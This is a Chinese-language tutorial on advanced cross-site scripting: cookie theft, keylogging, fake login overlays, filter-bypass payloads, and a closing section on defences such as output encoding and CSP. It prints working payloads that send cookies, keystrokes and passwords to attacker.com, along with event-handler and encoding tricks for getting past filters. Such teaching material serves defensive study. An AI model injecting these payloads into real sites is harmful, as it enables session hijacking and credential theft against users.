跨站脚本攻击(XSS)的进阶利用与防御绕过技术详解
字数 1065 2025-11-05 23:47:39
跨站脚本攻击(XSS)的进阶利用与防御绕过技术详解
1. 知识点描述
XSS(跨站脚本攻击)的核心是将恶意脚本注入到可信的网页中,当用户访问该页面时,脚本会执行。基础XSS分为反射型、存储型和DOM型。本专题将深入讲解XSS的进阶利用技术(如窃取Cookie、键盘记录、钓鱼攻击)和常见的防御绕过方法(如编码混淆、事件处理器利用),帮助理解实际攻击场景中的复杂性和防御要点。
2. 进阶利用技术详解
步骤1:Cookie窃取
- 攻击原理:通过XSS注入脚本,读取用户的
document.cookie,并将数据发送到攻击者控制的服务器。 - 示例代码:
<script> var img = new Image(); img.src = "http://attacker.com/steal?data=" + encodeURIComponent(document.cookie); </script> - 关键点:攻击者需提前搭建接收数据的服务(如HTTP服务器),并利用图片标签规避部分浏览器的同源策略限制。
步骤2:键盘记录与会话劫持
- 实现方式:注入的脚本监听页面键盘事件,并将输入内容发送给攻击者。
- 示例代码:
document.onkeypress = function(e) { fetch('http://attacker.com/log?key=' + e.key); }; - 扩展应用:结合窃取的Cookie,攻击者可模拟用户会话(需目标站点未启用HttpOnly Cookie)。
步骤3:DOM钓鱼攻击
- 技术细节:通过XSS动态伪造登录弹窗,诱导用户输入凭证。
- 示例:
var fakeForm = '<div>系统升级,请重新登录:<input id="pwd" type="password"><button onclick="sendPwd()">提交</button></div>'; document.body.innerHTML = fakeForm; function sendPwd() { let pwd = document.getElementById('pwd').value; location.href = 'http://attacker.com/phish?pwd=' + pwd; }
3. 防御绕过技术详解
步骤1:绕过HTML标签过滤
- 场景:若防御代码过滤
<script>标签,可尝试其他标签的事件属性。 - 示例:
<img src=x onerror="alert(1)"> <!-- 利用图片加载错误 --> <svg onload="alert(1)"> <!-- SVG标签事件 --> - 进阶:使用Unicode编码或大小写混合(如
<ScRiPt>)绕过简单正则表达式。
步骤2:绕过属性值过滤
- 场景:若过滤
"或',可利用JavaScript语法特性。 - 示例:
<img src=x onerror=alert`1`> <!-- 反引号模板字符串 --> <details open ontoggle=alert(1)> <!-- 利用无需引号的事件触发 -->
步骤3:混淆编码绕过
- 常见编码:
- HTML实体编码:
<变为<(但若解码后仍被执行,可尝试双重编码)。 - JS编码:
alert(1)转为\u0061\u006c\u0065\u0072\u0074(1)。
- HTML实体编码:
- 绕过案例:
<img src=x onerror="eval('\u0061\u006c\u0065\u0072\u0074(1)')">
4. 综合防御方案
- 输入过滤:对用户输入进行严格的白名单验证(如仅允许特定HTML标签和属性)。
- 输出编码:根据上下文选择编码方式(HTML实体编码、JavaScript编码、URL编码)。
- 内容安全策略(CSP):通过HTTP头限制脚本来源,例如:
Content-Security-Policy: default-src 'self'; script-src 'none' - 补充措施:为Cookie设置HttpOnly和SameSite属性,使用XSS过滤器(如X-XSS-Protection)。
5. 总结
XSS的进阶利用体现了从简单弹窗到持久化攻击的升级,而防御绕过技术则强调不能依赖单一过滤机制。实际防护需结合多层次策略(编码、CSP、安全开发规范),并通过自动化工具(如SAST/DAST)持续检测漏洞。